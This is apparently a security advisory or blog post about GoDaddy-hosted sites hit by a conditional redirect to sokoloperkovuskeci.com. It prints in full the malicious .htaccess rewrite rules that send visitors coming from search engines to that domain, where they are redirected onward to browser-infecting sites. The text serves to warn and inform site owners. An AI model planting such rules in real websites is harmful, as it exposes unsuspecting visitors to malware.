Many sites hosted on GoDaddy shared servers getting compromised today (and for the last few days) with a conditional redirection to sokoloperkovuskeci.com.

After scanning website with sucuri.net tool, the researcher got this result:

Suspicious conditional redirect.
Details: http://sucuri.net/malware/entry/MW:HTA:7
Redirects users to:http://sokoloperkovuskeci.com/in.php?g=1105

This is caused by this entry that is added to the .htaccess file of the compromised sites:

RewriteEngine On
RewriteOptions inherit
RewriteCond %{HTTP_REFERER} .*ask.com.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*google.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*msn.com*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*bing.com*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*live.com*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*aol.com*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*altavista.com*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*excite.com*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*search.yahoo*$ [NC]
RewriteRule .* http://sokoloperkovuskeci.com/in.php?g=916 [R,L]

What is going on?

These redirections attacks are very common on outdated WordPress and Joomla sites, but this time (and for this specific malicious domain), the target is GoDaddy hosted sites.


What happens to anyone visiting these hacked sites?

The malware checks if anyone visiting the infected site is coming from a Google search (or Yahoo, or Bing) and if they are, redirects them to that domain (sokoloperkovuskeci.com). In there, the user gets redirected again to other locations to get their browsers infected too. So you have to fix your site asap to protect your own users.

check whether your site is infected by Malware or compromised:
